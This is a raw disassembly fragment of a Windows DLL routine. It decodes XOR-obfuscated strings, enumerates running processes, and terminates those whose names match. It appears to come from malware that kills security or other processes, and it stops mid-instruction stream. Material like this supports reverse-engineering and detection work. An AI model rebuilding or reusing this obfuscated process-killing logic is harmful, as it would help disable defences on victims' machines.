add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x18001ca70
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp + 0x48]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001cac0
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.180006720
nop
cmp qword [rbp - 0x50], 0
je 0x18001cdaa
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.180005010
nop
mov r8, rsi
lea rdx, [0x18014c8d8]
lea rcx, [rsp + 0x40]
call fcn.180004cd0
cmp rax, 0xffffffffffffffff
je 0x18001cb73
mov r8, rsi
lea rdx, [0x18014c8d4]
lea rcx, [rsp + 0x40]
call fcn.180004cd0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001e7cb
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rsi
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800b21e0
mov qword [rsp + 0x50], rbx
lea rdx, [0x18014c8c8]
lea rcx, [rsp + 0x40]
call fcn.180007290
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18001cd67
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001cbe0
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x80]
call fcn.180006720
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.180093fe0
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.180005010
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.180093fe0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001cc33
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001cc41
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001cc66
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x18001cc6f
add rax, 2
sub rcx, 1
jne 0x18001cc53
cmp r9, r10
jae 0x18001cc77
mov ebx, esi
jmp 0x18001cc7d
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001cc7d
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001ccbd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ccb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e7d1
call fcn.1800afc8c
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18001cd0e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001cd09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e7d7
call fcn.1800afc8c
test ebx, ebx
je 0x18001cd2c
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001cbc0
jmp 0x18001cd67
mov r8d, dword [rbp + 0x168]
xor edx, edx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18001cd5d
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001cdaa
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001cda4
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e7dd
call fcn.1800afc8c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18001cdea
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001cde5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e81f
call fcn.1800afc8c
movups xmm0, xmmword [str.GASVU]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x18014dc20]
mov dword [rsp + 0x70], eax
cmp word [0x18014dc22], 0
je 0x18001ce4a
mov eax, reloc.WS2_32.dll_WSAStartup
mov word [rsp + 0x60], ax
xor word [rsp + 0x62], 0x35
xor word [rsp + 0x64], 0x36
xor word [rsp + 0x66], 0x37
xor word [rsp + 0x68], 0x38
xor word [rsp + 0x6a], 0x39
xor word [rsp + 0x6c], 0x3a
xor word [rsp + 0x6e], 0x3b
xor word [rsp + 0x70], 0x3c
xor word [rsp + 0x72], 0x3d
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rsp + 0x60]
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x18001ce61
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.180006720
nop
or r15d, 1
mov dword [rbp + 0x710], r15d
lea rcx, [rbp - 0x80]
call fcn.180097580
test al, al
jne 0x18001d918
movups xmm0, xmmword [str.GASVUJ_IJT_Zn_:D]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x18014dc80]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x18014dc90]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18001cfef
movdqa xmm5, xmmword [0x180151790]
movdqa xmm4, xmmword [0x180151970]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1801517b0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [0x180151880]
lea rcx, [rbp]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001cf00
cmp r8d, 0x11
jge 0x18001d034
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x18001d000
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
lea rax, [rbp]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001d050
lea rdx, [rbp]
lea rcx, [rbp - 0x40]
call fcn.180006720
nop
or r15d, 2
mov dword [rbp + 0x710], r15d
cmp qword [rbp - 0x30], 0
je 0x18001d363
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.180005010
nop
mov r8, rsi
lea rdx, [0x18014c8b8]
lea rcx, [rsp + 0x40]
call fcn.180004cd0
cmp rax, 0xffffffffffffffff
je 0x18001d10e
mov r8, rsi
lea rdx, str..._.
lea rcx, [rsp + 0x40]
call fcn.180004cd0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001e7e3
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rsi
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800b21e0
mov qword [rsp + 0x50], rbx
lea rdx, [0x18014c8a8]
lea rcx, [rsp + 0x40]
call fcn.180007290
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x18001d1a0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001d363
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d35e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e76b
jmp 0x18001d35e
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001d1c0
lea rdx, [rbp + 0x18c]
lea rcx, [rsp + 0x60]
call fcn.180006720
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x20]
call fcn.180093fe0
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp]
call fcn.180005010
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.180093fe0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001d215
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001d223
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001d248
sub rbx, rax
movzx edx, word [rax + rbx]
cmp dx, word [rax]
jne 0x18001d251
add rax, 2
sub rcx, 1
jne 0x18001d235
cmp r9, r10
jae 0x18001d259
mov ebx, esi
jmp 0x18001d25f
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001d25f
mov ebx, r13d
seta bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x18001d29f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d29a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e7e9
call fcn.1800afc8c
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18001d2f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d2eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e7ef
call fcn.1800afc8c
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r13w
test ebx, ebx
je 0x18001d8ac
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001d1a0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001d363
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d35e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e80d
call fcn.1800afc8c
mov eax, dword [0x18014dd08]
mov dword [rbp + 0x68], eax
movups xmm0, xmmword [0x18014dce8]
movups xmm1, xmmword [0x18014dcf8]
movzx eax, word [0x18014dd0c]
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm1
mov word [rbp + 0x6c], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18001d4c1
movdqa xmm5, xmmword [0x180151790]
movdqa xmm4, xmmword [0x180151970]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1801517b0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [0x180151880]
lea rcx, [rbp + 0x48]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001d3d2
cmp r8d, 0x13
jge 0x18001d504
movsxd rax, r8d
lea r9, [rbp + 0x48]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x18001d4d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp + 0x48]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001d520
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.180006720
nop
or r15d, 4
mov dword [rbp + 0x710], r15d
cmp qword [rbp - 0x50], 0
je 0x18001d65d
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.180005010
nop
mov r8, rsi
lea rdx, [0x18014c8b8]
lea rcx, [rsp + 0x40]
call fcn.180004cd0
cmp rax, 0xffffffffffffffff
je 0x18001d5de
mov r8, rsi
lea rdx, str..._.
lea rcx, [rsp + 0x40]
call fcn.180004cd0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001e7f5
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rsi
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800b21e0
mov qword [rsp + 0x50], rbx
lea rdx, [0x18014c8a8]
lea rcx, [rsp + 0x40]
call fcn.180007290
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x18001d670
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001d65d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d658
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e7fb
call fcn.1800afc8c
mov bl, 1
jmp 0x18001d91a
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001d690
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x20]
call fcn.180006720
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x60]
call fcn.180093fe0
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp]
call fcn.180005010
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.180093fe0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001d6e4
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001d6f2
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001d717
sub rbx, rax
movzx edx, word [rax + rbx]
cmp dx, word [rax]
jne 0x18001d720
add rax, 2
sub rcx, 1
jne 0x18001d704
cmp r9, r10
jae 0x18001d728
mov ebx, esi
jmp 0x18001d72e
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001d72e
mov ebx, r13d
seta bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x18001d76e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d769
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e801
call fcn.1800afc8c
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x18001d7c1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d7bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e807
call fcn.1800afc8c
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r13w
test ebx, ebx
je 0x18001d83b
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001d670
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001d65d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d658
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e771
jmp 0x18001d658
mov r8d, dword [rbp + 0x168]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x18001d85b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001d918
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d913
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e771
jmp 0x18001d913
mov r8d, dword [rbp + 0x168]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x18001d8cc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001d918
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d913
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e80d
call fcn.1800afc8c
xor bl, bl
test r15b, 4
je 0x18001d965
and r15d, 0xfffffffb
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18001d965
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d95f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e813
call fcn.1800afc8c
nop
test r15b, 2
je 0x18001d9b0
and r15d, 0xfffffffd
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001d9b0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d9aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e819
call fcn.1800afc8c
nop
test r15b, 1
je 0x18001d9fa
and r15d, 0xfffffffe
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x18001d9fa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d9f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e81f
call fcn.1800afc8c
test bl, bl
jne 0x18001db1f
call fcn.1800add68
mov rbx, rax
call fcn.1800add4c
cmp rbx, 0x989680
jne 0x18001da1e
imul rax, rax, 0x64
jmp 0x18001da3c
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
imul rcx, rcx, 0x3b9aca00
add rax, rcx
movabs rcx, 0x7ffffffffa0a1efe
cmp rax, rcx
lea rdi, [rax + 0x5f5e100]
jle 0x18001da60
movabs rdi, 0x7fffffffffffffff
nop dword [rax]
call fcn.1800add68
mov rbx, rax
call fcn.1800add4c
cmp rbx, 0x989680
jne 0x18001da7c
imul rax, rax, 0x64
jmp 0x18001da9a
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
imul rcx, rcx, 0x3b9aca00
add rax, rcx
cmp rdi, rax
mov ebx, 4
je 0x18001bbd2
jl 0x18001bbd2
mov rbx, rdi
sub rbx, rax
call fcn.1800ade9c
imul rcx, rax, 0x64
xorps xmm0, xmm0
cvtsi2sd xmm0, rbx
comisd xmm0, xmm10
jbe 0x18001dadb
movabs rax, 0x311cdad160000
add rcx, rax
jmp 0x18001dade
add rcx, rbx
movabs rax, 0x112e0be826d694b3
imul rcx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rbp + 0xb0], rdx
imul eax, edx, 0x3b9aca00
sub ecx, eax
mov dword [rbp + 0xb8], ecx
lea rcx, [rbp + 0xb0]
call fcn.1800adecc
jmp 0x18001da60
lea rax, [rsp + 0x40]
mov qword [rbp + 0x710], rax
movups xmm0, xmmword [0x18014dc28]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x18014dc38]
mov ecx, 0x2d
mov word [rsp + 0x60], cx
xor word [rsp + 0x62], 0x35
xor word [rsp + 0x64], 0x36
xor word [rsp + 0x66], 0x37
xor word [rsp + 0x68], 0x38
xor word [rsp + 0x6a], 0x39
xor word [rsp + 0x6c], 0x3a
xor word [rsp + 0x6e], 0x3b
xor ax, 0x3c
mov word [rsp + 0x70], ax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rsp + 0x60]
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x18001db92
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.180006720
nop
lea rax, [rbp - 0x80]
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x68], rax
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.180011410
mov rbx, rax
lea rdx, [rbp + 0x118]
lea rcx, [rbp]
call fcn.180005010
nop
lea r8, [rbp + 0xc0]
mov rdx, rbx
mov rcx, rax
call fcn.180097310
movzx ebx, al
lea r9, [fcn.180004e80]
mov r8, r14
mov edx, 0x20
lea rcx, [rbp - 0x80]
call fcn.1800afcc0
test bl, bl
jne 0x18001dc3c
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18001e4cf
movups xmm0, xmmword [str.GASVUJ_IJT_Zn_:D]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x18014dc80]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x18014dc90]
mov word [rbp + 0x20], ax
mov r8d, r13d
mov r15d, 4
cmp r12d, 2
jl 0x18001dd9f
movdqa xmm5, xmmword [0x180151790]
movdqa xmm4, xmmword [0x180151970]
movd xmm6, r15d
movdqa xmm7, xmmword [0x1801517b0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [0x180151880]
lea rcx, [rbp]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
